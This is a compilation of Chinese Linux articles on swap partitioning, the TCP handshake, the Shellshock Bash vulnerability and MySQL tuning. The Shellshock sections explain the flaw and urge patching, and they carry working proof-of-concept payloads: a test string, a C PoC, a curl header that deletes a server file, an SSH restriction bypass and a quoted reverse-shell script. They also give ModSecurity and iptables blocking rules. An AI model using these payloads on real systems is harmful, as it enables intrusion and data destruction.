考虑到这台机器不做服务器,且 2GB 内存够用了,因此没有划分 Swap 分区。

针对 swap 分区是否应该划分的问题,我做一些补充说明:

将 Linux 环境作为日常工作和生活的使用, 已经有两年多了。起初我也是按照网上总结出的经验, 划分有 swap 分区, 使用过程中发现, swap 的使用率几乎都维持在 0% 。

针对这个现象我查阅了相关的资料, 也在群里询问过一些技术老鸟。

我的看法是这样的:

Linux 环境中 swap 的作用 和 windows 环境中的虚拟内存(pagefile.sys)是类似的。(抱歉,用Win的眼光来看待Linux,只是为了让新手们能更快更准确的理解。)当内存使用率过高,或单个进程占用内存过大时,采取把部分内存数据转储到硬盘。我们都知道,硬盘的读写速度与内存相比,是低了好几个数量级的。

因此,在现今主流机型硬件配置的前提下(2-8G内存),划分 swap 的意义不大。当然,这需要有一个前提, 那就是 Linux 作为普通桌面使用,而没有复杂科学计算和3D建模,没有大负荷的数据库、Web、Samba 等服务器。

如何分区,其实并不是照抄照搬,而是根据自己的实际情况思考,在 资源(硬盘容量等) 和 需求(所需应用、期望的效率、存储的数据量和分类等) 方面取得一个适合于自己的平衡点。

分区在 Windows 环境 的效果,整数分区: 

分区在 Linux 环境 的效果,整数分区:

 

顺便秀一下我的 CentOS Linux 6.5 桌面:

Linux:必须强迫症!160GB硬盘双系统整数分区推荐方案
Linux:必须强迫症!160GB硬盘双系统整数分区推荐方案

在实际工作中,这个方案具有一定的合理性,感觉用得很顺手。

特地整理出来与大家分享,希望大家喜欢!

欢迎跟帖讨论。

作者:仅此一仙『QQ:46231375@ 江西 

 

 

来源:https://linux.cn/article-3898-1.html

Linux:TCP恋爱史:三次握手和四次分手

Linux:TCP恋爱史:三次握手和四次分手
Linux:TCP恋爱史:三次握手和四次分手

TCP协议非常重要,这里把它的连接和释放整理一下。

Linux:TCP恋爱史:三次握手和四次分手
Linux:TCP恋爱史:三次握手和四次分手

首先是三次握手:

1、  客户端发起,像服务器发送的报文SYN=1,ACK=0,然后选择了一个初始序号:seq=x。

SYN是干什么用的?

在链接的时候创建一个同步序号,当SYN=1同时ACK=0的时候,表明这是一个连接请求的报文段。如果对方有意链接,返回的报文里面SYN=1,ACK=1,。从这个意义上来说,SYN=1的时候,就表明这是一个‘请求’或者‘接受请求’的报文。

SYN=1的报文段不能携带数据。但是要消耗掉一个序号,

ACK是干什么用的?

仅当ACK=1的时候,确认字号(期望收到对方下一个报文段的第一个数据字节的编号)才有效。因此,TCP规定,当链接建立之后,所有往来的报文里面的ACK都应该是1(事实上,也只有客户端发起的链接请求报文的ACK没有置1)。

现在的状态:客户端进入SYN-SEND状态;

2、  服务器接收到了SYN=1,ACK=0的请求报文之后,返回一个SYN=1,ACK=1的确认报文。

同时,确认号ack=x+1,同时也为自己选择一个初始序号seq=y

现在的状态:服务器进入SYN-REVD状态;

3、  客户端接收到了服务器的返回信息之后,还要给服务器返回最后一条确认,ACK=1,确认号ack=y+1;

现在的状态:客户端进入ESTABLISHED状态。

下面说一下为什么两次握手不行,非得三次:

首先说明一种正常的情况,就是客户端发送了一条请求链接的报文,但是由于网络原因丢失了,所以,不可能接收到服务器端的确认。这个时候,客户端就就只有再一次发送原来的请求报文,这次服务器收到之后返回确认,客户端再确认一次,链接确立。

然后考虑一种不正常的情况,客户端发了两次请求链接的报文,第二条被服务器捕捉到,返回数据,完成了两次握手。数据传送完成之后,链接关闭。但是这时候,第一条拥塞的请求报文现在到达了服务器端,服务器还以为客户端要又一次建立连接,于是发送确认,然后把自己敞开,等着客户端发送过来数据。于是,很多的网络资源就是这样浪费掉了。

要是实行三次握手,服务器收到了一条过期的请求报文,返回确认信息,客户端接收到了服务器的信息之后感到莫名其妙,心想:我他妈又没要链接,你返回这个是不是疯了。于是不置一词。服务器过一段时间还没有收到第三次握手的数据,知道客户端并没有要求建立链接的请求,含泪离开。

然后是四次分手:

现在双方的状态都是ESTABLISHED状态。

1、  客户端发起请求,请求断开链接。FIN=1,seq=u。u是之前传送过来的最后一个字节的序号+1。

FIN:用来释放一个链接,当FIN=1的时候,表明此报文的发送方已经完成了数据的发送,没有新的数据要传送,并要求释放链接。

客户端进入FIN-WAIT-1状态,等着服务器返回确认;

2、  服务器收到客户端的请求断开链接的报文之后,返回确认信息。ACK=1,seq=v,ack=u+1。

服务器进入CLOSE-WAIT状态。

这个时候,客户端不能给服务器发送信息报文,只能接收。但是服务器要是还有信息要传给服务器,仍然能传送。

3、  当服务器也没有了可以传的信息之后,给客户端发送请求结束的报文。FIN=1,ACK=1,

ack=u+1,seq=w。

这个时候的状态:服务器进入LAST-ACK状态。

4、  客户端接收到FIN=1的报文之后,返回确认报文,ACK=1,seq=u+1,ack=w+1。

发送完毕之后,客户端进入等待状态,等待两个时间周期。关闭。

为什么最后还要等待两个时间周期呢?

1、  客户端的最后一个ACK报文在传输的时候丢失,服务器并没有接收到这个报文。这个候。

服务器就会超时重传这个FIN消息,然后客户端就会重新返回最后一个ACK报文,等待两个时间周期,完成关闭。如果不等待这两个时间周期,服务器重传的那条消息就不会收到。服务器就因为接收不到客户端的信息而无法正常关闭。

2、  预防上一次在三次握手中提到的失效的报文干扰。两个时间周期过去之后,所有的报文都会在网络中消失,保证下一次重新连接的时候有乱七八糟的报文影响。

来源:http://www.codeceo.com/article/tcp-3-handshack.html

Linux:最新Bash漏洞修补初级方案

Bash爆出远程解析命令执行漏洞(CVE-2014-6271),波及各大Linux发行版与MacOSX系统。漏洞可以直接在Bash支持的Web CGI环境下远程执行任意命令。

bash注入公开之后根据官方的文档发现,攻击者只要保持

$ env x='() { :;}; echo vulnerable' bash -c "echo this is a test"

中前四个字符不改变,也就是'(){ 固定,后面的:;}中符合规定的语法就可以进行攻击测试。虽然漏洞的影响非常大,但是相比于‘Openssl’来说,利用的环境是有限的。

Linux:最新Bash漏洞修补初级方案
Linux:最新Bash漏洞修补初级方案

防御bash注入的方法,首先需要更新bash,yum update下就OK了,更新到bash-4.1.2-15。

或者是添加mod_security:

Request Header values:
SecRule REQUEST_HEADERS "^() {" "phase:1,deny,id:1000000,t:urlDecode,status:400,log,msg:'CVE-2014-6271 - Bash Attack'"
SERVER_PROTOCOL values:
SecRule REQUEST_LINE "() {" "phase:1,deny,id:1000001,status:400,log,msg:'CVE-2014-6271 - Bash Attack'"
GET/POST names:
SecRule ARGS_NAMES "^() {" "phase:2,deny,id:1000002,t:urlDecode,t:urlDecodeUni,status:400,log,msg:'CVE-2014-6271 - Bash Attack'"
GET/POST values:
SecRule ARGS "^() {" "phase:2,deny,id:1000003,t:urlDecode,t:urlDecodeUni,status:400,log,msg:'CVE-2014-6271 - Bash Attack'"
File names for uploads:
SecRule  FILES_NAMES "^() {"  "phase:2,deny,id:1000004,t:urlDecode,t:urlDecodeUni,status:400,log,msg:'CVE-2014-6271  - Bash Attack'" 

 

虽然有人给出了在iptable中添加规则,但是觉得在iptable中添加规则会规定的太死,不过也可以去尝试下:

iptables --append INPUT -m string --algo kmp --hex-string '|28 29 20 7B|' --jump DROP
iptables using -m string --hex-string '|28 29 20 7B|'

 

来源:http://www.freebuf.com/vuls/44857.html

Linux:为什么说破壳漏洞会带来一场全球服务器的浩劫

Linux:为什么说破壳漏洞会带来一场全球服务器的浩劫
Linux:为什么说破壳漏洞会带来一场全球服务器的浩劫

2014 年 9 月 24 日,Bash 惊爆严重安全漏洞,编号为 CVE-2014-6271,该漏洞将导致远程攻击者在受影响的系统上执行任意代码。GNU Bash 是一个为 GNU 计划编写的 Unix Shell,广泛使用在 Linux 系统内,最初的功能仅是一个简单的基于终端的命令解释器。这意味全球至少 150 万的主机将受到影响,此外 Linux/Unix 世界内的安卓和苹果都难幸免。

破壳漏洞(ShellShock)的严重性被定义为 10 级(最高),今年 4 月爆发的 OpenSSL「心脏出血」漏洞才 5 级!

漏洞描述:

GNU Bash 4.3 及之前版本在评估某些构造的环境变量时存在安全漏洞,向环境变量值内的函数定义后添加多余的字符串会触发此漏洞,攻击者可利用此漏洞改变或绕过环境限制,以执行 Shell 命令。某些服务和应用允许未经身份验证的远程攻击者提供环境变量以利用此漏洞。此漏洞源于在调用 Bash Shell 之前可以用构造的值创建环境变量。这些变量可以包含代码,在 Shell 被调用后会被立即执行。

影响情况:

这个破壳漏洞确实是一个危害极大的漏洞,胜于今年 4 月 8 号爆发的「心脏出血」,但破壳漏洞的探测方式很复杂,不同的组件测试方式有所区别,很难评估一个影响面,但是可以肯定的是 Bash<=4.3 版本都受影响,而 Bash 在至少百亿级别数量的设备上使用,因为 Bash 是最流行的 Linux Shell。

来自知道创宇的 ZoomEye 团队通过几种方式的组合检测,得到了些影响结论。

第一组数据

经过 ZoomEye 的特殊探测,发现国内某厂家的互联网系统在全国范围内有 13254 台设备受到破壳漏洞影响,可被直接远程攻击。

第二组数据

经过 ZoomEye 的 Fuzzing 探测,全球大概存在 142000 主机受影响,需要注意的是由于 Fuzzing 规则不完备,得到的数量肯定会不完备,但这个数字至少可以看到可被直接远程攻击利用的面很大。

第三组数据

我们看到 masscan 的官方发布了消息: http://blog.erratasec.com/2014/09/bash-shellshock-bug-is-wormable.html 他们全球探测的结论是:至少 150 万受影响,而这验证规则很简单,仅对主机的 80 端口进行直接请求,这个结论我们也在验证。

可以从这几组数据看到,探测方式各不相同,如果继续扩展可以逐步描绘出越来越清晰的影响面(可直接远程攻击),知道创宇会继续。

破壳漏洞几个有趣点:

  1. 危害等级是 10(不能再高了),心脏出血那么厉害才 5;
  2. 破壳破的是 Bash,这个在 Linux/Unix 世界存活超过了 20 来年;
  3. 破壳蠕虫已经传播感染;
  4. 虽然这是 Linux/Unix 世界的问题,别忘了安卓、苹果都是(需要深入验证),当然 Windows 这次没事;
  5. 破壳漏洞的利用比心脏出血麻烦,怪不得带来的冲击力低了很多,很多媒体都没关注也可理解,但破壳的后劲绝对很大。

此漏洞可能会影响到的地方

注:以下几点参考自:https://raw.githubusercontent.com/citypw/DNFWAH/master/4/d4_0x07_DNFWAH_shellshock_bash_story_cve-2014-6271.txt

且结论经过我们验证有效。 

  1. 在 SSHD 配置中使用了 ForceCommand 用以限制远程用户执行命令,这个漏洞可以绕过限制去执行任何命令。一些 Git 和 Subversion 部署环境的限制 Shell 也会出现类似情况,OpenSSH 通常用法没有问题。
  2. Apache 服务器使用 mod_cgi 或者 mod_cgid,如果 CGI 脚本在 BASH 或者运行在子 Shell 里都会受影响。子 Shell 中使用 C 的 system/popen,Python 中使用 os.system/os.popen,PHP 中使用 system/exec(CGI 模式) 和 Perl 中使用 open/system 的情况都会受此漏洞影响。
  3. PHP 脚本执行在 mod_php 不会受影响。
  4. DHCP 客户端调用 Shell 脚本接收远程恶意服务器的环境变量参数值的情况会被此漏洞利用。
  5. 守护进程和 SUID 程序在环境变量设置的环境下执行 Shell 脚本也可能受到影响。
  6. 任何其他程序执行 Shell 脚本时用 Bash 作为解释器都可能受影响。Shell 脚本不导出的情况下不会受影响。

漏洞验证,可以使用如下命令来检查系统是否存在此漏洞:

CVE-2014-6271 测试方式:

 env x='() { :;}; echo vulnerable' bash -c "echo this is a test"

注:CVE-2014-6271 的漏洞源码级分析请参考: http://blog.knownsec.com/2014/09/bash_3-0-4-3-command-exec-analysis/

修补后,又被绕过,CVE-2014-7169 最新测试方法:

$ env -i X='() { (a)=>' bash -c 'echo date'; cat echo

如执行结果如下则仍然存在漏洞:

bash: X: line 1: syntax error near unexpected token `='
bash: X: line 1: `'
bash: error importing function definition for `X'
Wed Sep 24 14:12:49 PDT 2014

暂时还没最靠谱的通用修复方案,关注 Bash 的下一次升级。

来源:http://www.geekpark.net/topics/211035

Linux:Bash Shellshock事件:CVE-2014-6271资料汇总

Linux:Bash Shellshock事件:CVE-2014-6271资料汇总
Linux:Bash Shellshock事件:CVE-2014-6271资料汇总
[sth0r@shawn-fortress]$ uname -a
Linux shawn-fortress 3.7-trunk-686-pae #1 SMP Debian 3.7.2-0+kali8 i686 GNU/Linux
|=-----------------------------------------------------------------=|
|=-----=[ D O N O T F U C K W I T H A H A C K E R ]=-----=|
|=-----------------------------------------------------------------=|
|=------------------------[ #4 File 0x07 ]-------------------------=|
|=-----------------------------------------------------------------=|
|=-------------------=[ Bash Shellshock事件: ]=--------------------=|
|=-------------------=[ CVE-2014-6271资料汇总]=--------------------=|
|=-----------------------------------------------------------------=|
|=---------------------=[ By Shawn the R0ck ]=---------------------=|
|=-----------------------------------------------------------------=|
|=-----------------------=[ Sep 25 2014 ]=------------------------=|
|=-----------------------------------------------------------------=| 

–[ Content

0. What is BASH

1. CVE-2014-6271

2. Incomplete patch

3. Mitigation

4. Story to be continued…

5. References

 

–[ 0. 什么是BASH

Bourne Again Shell(简称BASH)是在GNU/Linux上最流行的SHELL实现,于1980年诞生,经过了几十年的进化从一个简单的终端命令行解释器演变成了和GNU系统深度整合的多功能接口。

–[ 1. CVE-2014-6271

法国GNU/Linux爱好者Stéphane Chazelas于2014年9月中旬发现了著名SHELL实现BASH的一个漏洞,你可以通过构造环境变量的值来执行你想要执行的脚本代码,据报道称,这个漏洞能影响众多的运行在GNU/Linux上的会跟BASH交互的应用程序,包括:

  • 在sshd配置中使用了ForceCommand用以限制远程用户执行命令,这个漏洞可以绕过限制去执行任何命令。一些Git和Subversion部署环境的限制Shell也会出现类似情况,OpenSSH通常用法没有问题。
  • Apache服务器使用mod_cgi或者mod_cgid,如果CGI脚本在BASH或者运行在子SHELL里都会受影响。子Shell中使用C的system/popen,Python中使用 os.system/os.popen,PHP中使用system/exec(CGI模式)和Perl中使用,open/system的情况都会受此漏洞影响。
  • PHP脚本执行在mod_php不会受影响。
  • DHCP客户端调用shell脚本接收远程恶意服务器的环境变量参数值的情况会被此漏洞利用。
  • 守护进程和SUID程序在环境变量设置的环境下执行SHELL脚本也可能受到影响。
  • 任何其他程序执行SHELL脚本时用BASH作为解释器都可能受影响。Shell脚本不导出的情况下不会受影响。

我们先来看一个简单的POC:

1,本地SHELL环境中测试是否有漏洞:

$ env x='() { :;}; echo vulnerable' bash -c "echo this is a test"

如果存在漏洞会打印”vulnerable”。

2,C程序:

/* CVE-2014-6271 + aliases with slashes PoC - je [at] clevcode [dot] org */
#include 
#include 
int main()
{
char *envp[] = {
"PATH=/bin:/usr/bin",
"/usr/bin/id=() { "
"echo pwn me twice, shame on me; }; "
"echo pwn me once, shame on you",
NULL
};
char *argv[] = { "/bin/bash", NULL };
execve(argv[0], argv, envp);
perror("execve");
return 1;
}
je@tiny:~$ gcc -o bash-is-fun bash-is-fun.c
je@tiny:~$ ./bash-is-fun
pwn me once, shame on you
je@tiny:/home/je$ /usr/bin/id
pwn me twice, shame on me

这个POC中可以看出BASH根本就没有去处理结尾,后面我们可以通过补丁来看为什么。

3,INVISIBLETHREAT上对于HTTP环境的测试:

创建一个脚本叫poc.cgi:

#!/bin/bash
echo "Content-type: text/html"
echo ""
echo ''
echo ''
echo ''
echo 'PoC'
echo ''
echo ''
echo '
'
/usr/bin/env
echo '

'
echo ''
echo ''
exit 0

把脚本放入测试机后,输入:

$ curl http://192.168.0.1/poc.cgi



PoC


SERVER_SIGNATURE=
Apache/2.2.22 (Debian) Server at 192.168.0.1 Port 80
HTTP_USER_AGENT=curl/7.26.0 SERVER_PORT=80 HTTP_HOST=192.168.0.1 DOCUMENT_ROOT=/var/www SCRIPT_FILENAME=/var/www/poc.cgi REQUEST_URI=/poc.cgi SCRIPT_NAME=/poc.cgi REMOTE_PORT=40974 PATH=/usr/local/bin:/usr/bin:/bin PWD=/var/www SERVER_ADMIN=webmaster@localhost HTTP_ACCEPT=*/* REMOTE_ADDR=192.168.0.1 SHLVL=1 SERVER_NAME=192.168.0.1 SERVER_SOFTWARE=Apache/2.2.22 (Debian) QUERY_STRING= SERVER_ADDR=192.168.0.1 GATEWAY_INTERFACE=CGI/1.1 SERVER_PROTOCOL=HTTP/1.1 REQUEST_METHOD=GET _=/usr/bin/env


再来试试使用curl设置一个user-agent玩玩:

$ curl -A "() { :; }; /bin/rm /var/www/target" http://192.168.0.1/poc.cgi


500 Internal Server Error

Internal Server Error

The server encountered an internal error or misconfiguration and was unable to complete your request.

Please contact the server administrator, webmaster@localhost and inform them of the time the error occurred, and anything you might have done that may have caused the error.

More information about this error may be available in the server error log.


Apache/2.2.22 (Debian) Server at 192.168.0.1 Port 80

上面已经把/var/www/target给删除了,再来看看:

$ curl http://192.168.0.1/target


404 Not Found

Not Found

The requested URL /target was not found on this server.


Apache/2.2.22 (Debian) Server at 192.168.0.1 Port 80

4, 针对OpenSSH的POC

目前有2个攻击平面,Solar Designer给出了 SSH_ORIGINAL_COMMAND的本地利用方法:http://seclists.org/oss-sec/2014/q3/651

还有就是针对远程利用的POC,通过利用TERM:

在机器A上生成一对RSA key pair:

shawn@debian-test32:~/.ssh$ ssh-keygen
Generating public/private rsa key pair.
Enter file in which to save the key (/home/shawn/.ssh/id_rsa):
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in /home/shawn/.ssh/id_rsa.
Your public key has been saved in /home/shawn/.ssh/id_rsa.pub.
The key fingerprint is:
09:1c:92:fb:c5:68:f8:e1:b9:c2:62:a8:c7:75:5b:dc shawn@debian-test32
The key's randomart image is:
+--[ RSA 2048]----+
| ... |
| .o . |
| ooo |
| o +.o. |
| = =S. |
| . * o E |
| o o . + |
|. = o o |
|oo . . |
+-----------------+

把A的公钥拷贝到机器B上:

$cat /home/shawn/.ssh/authorized_keys
command="/tmp/ssh.sh" ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC9xYHEdjbbvSO+RAtDS3u+R4sD87SUQq5OZJ+6P5n3BoOz8eKfmK2B4qQa28uGvpseFSSXIoXTKdeS3mCXevbibGG6E3RQ63U7USrh9iQupO6c45Qt+3/WOo7X3mRlZ1awUmCjurcA5Zm/yOvyMJCoRd1kpkiJljgHtMztEhWvAE4inFkqyWC81SSfsvNd/GEiyCpFw84UTdF/cH626V3V73hlxwBMd8UKI27I7ATMOcPgWsI5738tLpgPDSisvZZXZNlxAfvSgpxKYAHOQ9VsaJCG4q+Giob5iX4IDzn8gs8G7uGW+EGhzTMq83f/8ar5a5Ex8Dg9M/loYPIPp5gJ shawn@debian-test32

一个用于控制command/SSH_ORIGINAL_COMMAND的脚本

shawn@linux-ionf:~/.ssh> cat /tmp/ssh.sh
#!/bin/sh
case "$SSH_ORIGINAL_COMMAND" in
"ps")
ps -ef
;;
"vmstat")
vmstat 1 100
;;
"cups stop")
/etc/init.d/cupsys stop
;;
"cups start")
/etc/init.d/cupsys start
;;
*)
echo "Sorry. Only these commands are available to you:"
echo "ps, vmstat, cupsys stop, cupsys start"
#exit 1
;;
esac

机器A上可以正常的使用限制脚本:

shawn@debian-test32:~/.ssh$ export SSH_ORIGINAL_COMMAND="ps"
shawn@debian-test32:~/.ssh$ ssh shawn@192.168.115.129 $SSH_ORIGINAL_COMMAND
Enter passphrase for key '/home/shawn/.ssh/id_rsa':
UID PID PPID C STIME TTY TIME CMD
root 1 0 0 16:47 ? 00:00:02 /sbin/init showopts
root 2 0 0 16:47 ? 00:00:00 [kthreadd]
root 3 2 0 16:47 ? 00:00:00 [ksoftirqd/0]

借助TERM来利用:

shawn@debian-test32:~$ export TERM='() { :;}; id'; ssh shawn@192.168.115.129
Enter passphrase for key '/home/shawn/.ssh/id_rsa':
uid=1000(shawn) gid=100(users) groups=100(users)
Connection to 192.168.115.129 closed.

5,DHCP:

https://www.trustedsec.com/september-2014/shellshock-dhcp-rce-proof-concept/ 

–[ 2. 补丁情况

从最早GNU/Linux发行版社区收到的补丁: https://bugzilla.novell.com/attachment.cgi?id=606672 

可以看出BASH的确没有做异常处理,而直接解析后就执行了。

正式的社区补丁在这里:

http://ftp.gnu.org/pub/gnu/bash/bash-3.0-patches/bash30-017 http://ftp.gnu.org/pub/gnu/bash/bash-3.1-patches/bash31-018 http://ftp.gnu.org/pub/gnu/bash/bash-3.2-patches/bash32-052 http://ftp.gnu.org/pub/gnu/bash/bash-4.0-patches/bash40-039 http://ftp.gnu.org/pub/gnu/bash/bash-4.1-patches/bash41-012 http://ftp.gnu.org/pub/gnu/bash/bash-4.2-patches/bash42-048 http://ftp.gnu.org/pub/gnu/bash/bash-4.3-patches/bash43-025 

但由于补丁修复的不完整,导致了CVE-2014-7169的爆出,POC如下:

shawn@shawn-fortress /tmp $ date -u > test_file
shawn@shawn-fortress /tmp $ env X='() { (a)=<' bash -c 'test_file cat'
bash: X: line 1: syntax error near unexpected token `='
bash: X: line 1: `'
bash: error importing function definition for `X'
Thu Sep 25 09:37:04 UTC 2014

这个POC可以让攻击者能读文件,看来后续的故事还没结束................... (Sep 25 13:30 UTC 2014)

UTC时间2014年9月25日上午,CVE-2014-7169被BASH社区修复,目前主要的GNU/Linux发行版包括Debian, Gentoo, OpenSUSE, CentOS, RHEL都已经提供了相关的升级。

2014年9月26日,BASH又爆出了CVE-2014-7186和CVE-2014-7187:http://www.openwall.com/lists/oss-security/2014/09/26/2 

--[ 3. 防御方案

在各种GNU/Linux发行版里需要升级:

Debian-based(包括Ubuntu):

sudo apt-get update && apt-get upgrade

Gentoo:

sudo emerge --sync && glsa-check -f affected

OpenSSH:

加入no-pty

--[ 4. 后续故事

这个漏洞引起的故事并没有因为补丁而结束,因为这个星球上有太多人不会那么care这个漏洞,也就是说他们不会即时的去打补丁,而从攻击者的一方而言,从漏洞公开已经出现了很多类似:

#
#CVE-2014-6271 cgi-bin reverse shell
#
import httplib,urllib,sys
if (len(sys.argv)<4):
print "Usage: %s   " % sys.argv[0]
print "Example: %s localhost /cgi-bin/test.cgi 10.0.0.1/8080" % sys.argv[0]
exit(0)
conn = httplib.HTTPConnection(sys.argv[1])
reverse_shell="() { ignored;};/bin/bash -i >& /dev/tcp/%s 0>&1" % sys.argv[3]
headers = {"Content-type": "application/x-www-form-urlencoded",
"test":reverse_shell }
conn.request("GET",sys.argv[2],headers=headers)
res = conn.getresponse()
print res.status, res.reason
data = res.read()
print data

的工具,Shellshock比heartbleed更容易自动化的去攻击目标,漏洞本身的特性带来了最糟糕的情况就是蠕虫的产生,这种担心已经得到了证实: https://gist.github.com/anonymous/929d622f3b36b00c0be1 

虽然目前的样本不是蠕虫,但很明显,僵尸网络的狂欢已经开始,从目前样本的情况看,这是一个有C&C功能的botnet,"她"会先寻找busybox的目标,然后尝试入侵目标机,之后尝试提权,这个恶意软件主要目的是利用肉鸡来DDOS,攻击者的下一个目标将会是WEB。一直以来致力于对抗恶意软件的社区#MalwareMustDie也出了相关的详细分析:http://blog.malwaremustdie.org/2014/09/linux-elf-bash-0day-fun-has-only-just.html 

通常来讲,一个漏洞曝光到自动化利用会在24小时内完成,所以各位抓紧时间打补丁。

--[ 5. References

[1] BASH

http://www.gnu.org/software/bash/ 

[2] Bash specially-crafted environment variables code injection attack

https://securityblog.redhat.com/2014/09/24/bash-specially-crafted-environment-variables-code-injection-attack/ 

[3] CVE-2014-6271

http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-6271 

[4] CVE-2014-7169

http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-7169 

[5] CVE-2014-6271: remote code execution through bash

http://seclists.org/oss-sec/2014/q3/651 

[6] SSH, The Secure Shell: The Definitive Guide

http://oreilly.com/catalog/sshtdg/chapter/ch08.html 

[7] CVE-2014-6271 cgi-bin reverse shell

http://pastebin.com/166f8Rjx 

来源:https://raw.githubusercontent.com/citypw/DNFWAH/master/4/d4_0x07_DNFWAH_shellshock_bash_story_cve-2014-6271.txt

Linux:MySQL my.cnf参数配置优化详解

本配置文件针对Dell R710,双至强E5620、16G内存的硬件配置。CentOS 5.6 64位系统,MySQL 5.5.x 稳定版。适用于日IP 50-100w,PV 100-300w的站点,主要使用InnoDB存储引擎。其他应用环境请根据实际情况来设置优化。

注:你的MySQL 版本可能和这里用的不同,所以有些参数会废弃,有些被替代,当发现启动异常或者使用异常时,请取消某些配置。

Linux:MySQL my.cnf参数配置优化详解
Linux:MySQL my.cnf参数配置优化详解

# 客户端

# 以下选项会被MySQL客户端应用读取。注意只有MySQL附带的客户端应用程序保证可以读取这段内容。如果你想你自己的MySQL应用程序获取这些值。需要在MySQL客户端库初始化的时候指定这些选项。

[client]

#password = [your_password]

port = @MYSQL_TCP_PORT@

socket = @MYSQL_UNIX_ADDR@

# MySQL 服务端

[mysqld]

# 一般配置选项

port = @MYSQL_TCP_PORT@

socket = @MYSQL_UNIX_ADDR@

# back_log 是操作系统在监听队列中所能保持的连接数,队列保存了在MySQL连接管理器线程处理之前的连接。如果你有非常高的连接率并且出现”connection refused” 报错,你就应该增加此处的值。检查你的操作系统文档来获取这个变量的最大值。如果将back_log设定到比你操作系统限制更高的值,将会没有效果。

back_log = 300

# 不在TCP/IP端口上进行监听。如果所有的进程都是在同一台服务器连接到本地的mysqld,这样设置将是增强安全的方法。所有mysqld的连接都是通过Unix sockets 或者命名管道进行的。注意在windows下如果没有打开命名管道选项而只是用此项(通过 “enable-named-pipe” 选项) 将会导致mysql服务没有任何作用!

#skip-networking

# MySQL 服务所允许的同时会话数的上限,其中一个连接将被SUPER权限保留作为管理员登录。即便已经达到了连接数的上限。

max_connections = 3000

# 每个客户端连接最大的错误允许数量,如果达到了此限制。这个客户端将会被MySQL服务阻止直到执行了”FLUSH HOSTS” 或者服务重启。非法的密码以及其他在链接时的错误会增加此值。查看 “Aborted_connects” 状态来获取全局计数器。

max_connect_errors = 30

# 所有线程所打开表的数量。增加此值就增加了mysqld所需要的文件描述符的数量。这样你需要确认在[mysqld_safe]中 “open-files-limit” 变量设置打开文件数量允许至少4096

table_cache = 4096

# 允许外部文件级别的锁。打开文件锁会对性能造成负面影响。所以只有在你在同样的文件上运行多个数据库实例时才使用此选项(注意仍会有其他约束!)。或者你在文件层面上使用了其他一些软件依赖来锁定MyISAM表。

#external-locking

# 服务所能处理的请求包的最大大小以及服务所能处理的最大的请求大小(当与大的BLOB字段一起工作时相当必要)。每个连接独立的大小.大小动态增加。

max_allowed_packet = 32M

# 在一个事务中binlog为了记录SQL状态所持有的cache大小,如果你经常使用大的,多声明的事务,你可以增加此值来获取更大的性能。所有从事务来的状态都将被缓冲在binlog缓冲中然后在提交后一次性写入到binlog中。如果事务比此值大,会使用磁盘上的临时文件来替代。此缓冲在每个连接的事务第一次更新状态时被创建。

binlog_cache_size = 4M

# 独立的内存表所允许的最大容量。此选项为了防止意外创建一个超大的内存表导致永尽所有的内存资源。

max_heap_table_size = 128M

# 排序缓冲被用来处理类似ORDER BY以及GROUP BY队列所引起的排序。如果排序后的数据无法放入排序缓冲,一个用来替代的基于磁盘的合并分类会被使用。查看 “Sort_merge_passes” 状态变量。在排序发生时由每个线程分配。

sort_buffer_size = 16M

# 此缓冲被使用来优化全联合(full JOINs 不带索引的联合)。类似的联合在极大多数情况下有非常糟糕的性能表现,但是将此值设大能够减轻性能影响。通过 “Select_full_join” 状态变量查看全联合的数量。当全联合发生时,在每个线程中分配。

join_buffer_size = 16M

# 我们在cache中保留多少线程用于重用。当一个客户端断开连接后,如果cache中的线程还少于thread_cache_size,则客户端线程被放入cache中。这可以在你需要大量新连接的时候极大的减少线程创建的开销。(一般来说如果你有好的线程模型的话,这不会有明显的性能提升.)

thread_cache_size = 16

# 此允许应用程序给予线程系统一个提示在同一时间给予渴望被运行的线程的数量。此值只对于支持 thread_concurrency() 函数的系统有意义( 例如Sun Solaris)。你可可以尝试使用 [CPU数量]*(2..4) 来作为thread_concurrency的值。

thread_concurrency = 8

# 查询缓冲常被用来缓冲 SELECT 的结果并且在下一次同样查询的时候不再执行直接返回结果。打开查询缓冲可以极大的提高服务器速度,如果你有大量的相同的查询并且很少修改表。查看 “Qcache_lowmem_prunes” 状态变量来检查是否当前值对于你的负载来说是否足够高。注意: 在你表经常变化的情况下或者如果你的查询原文每次都不同,查询缓冲也许引起性能下降而不是性能提升。

query_cache_size = 128M

# 只有小于此设定值的结果才会被缓冲。此设置用来保护查询缓冲,防止一个极大的结果集将其他所有的查询结果都覆盖。

query_cache_limit = 4M

# 被全文检索索引的最小的字长。你也许希望减少它,如果你需要搜索更短字的时候。注意在你修改此值之后,你需要重建你的 FULLTEXT 索引

ft_min_word_len = 8

# 如果你的系统支持 memlock() 函数,你也许希望打开此选项用以让运行中的mysql在在内存高度紧张的时候,数据在内存中保持锁定并且防止可能被swapping out。此选项对于性能有益

#memlock

# 当创建新表时作为默认使用的表类型,如果在创建表示没有特别执行表类型,将会使用此值

default_table_type = MYISAM

# 线程使用的堆大小。此容量的内存在每次连接时被预留。MySQL 本身常不会需要超过64K的内存。如果你使用你自己的需要大量堆的UDF函数,或者你的操作系统对于某些操作需要更多的堆。你也许需要将其设置的更高一点。

thread_stack = 512K

# 设定默认的事务隔离级别。可用的级别如下:READ-UNCOMMITTED, READ-COMMITTED, REPEATABLE-READ, SERIALIZABLE

transaction_isolation = REPEATABLE-READ

# 内部(内存中)临时表的最大大小。如果一个表增长到比此值更大,将会自动转换为基于磁盘的表。此限制是针对单个表的,而不是总和。tmp_table_size = 128M

# 打开二进制日志功能。在复制(replication)配置中,作为MASTER主服务器必须打开此项。如果你需要从你最后的备份中做基于时间点的恢复,你也同样需要二进制日志。

log-bin=mysql-bin

# 如果你在使用链式从服务器结构的复制模式 (A->B->C),你需要在服务器B上打开此项。此选项打开在从线程上重做过的更新的日志,并将其写入从服务器的二进制日志。

#log_slave_updates

# 打开全查询日志。所有的由服务器接收到的查询 (甚至对于一个错误语法的查询)都会被记录下来。这对于调试非常有用,在生产环境中常常关闭此项。#log

# 将警告打印输出到错误log文件。如果你对于MySQL有任何问题,你应该打开警告log并且仔细审查错误日志,查出可能的原因。

#log_warnings

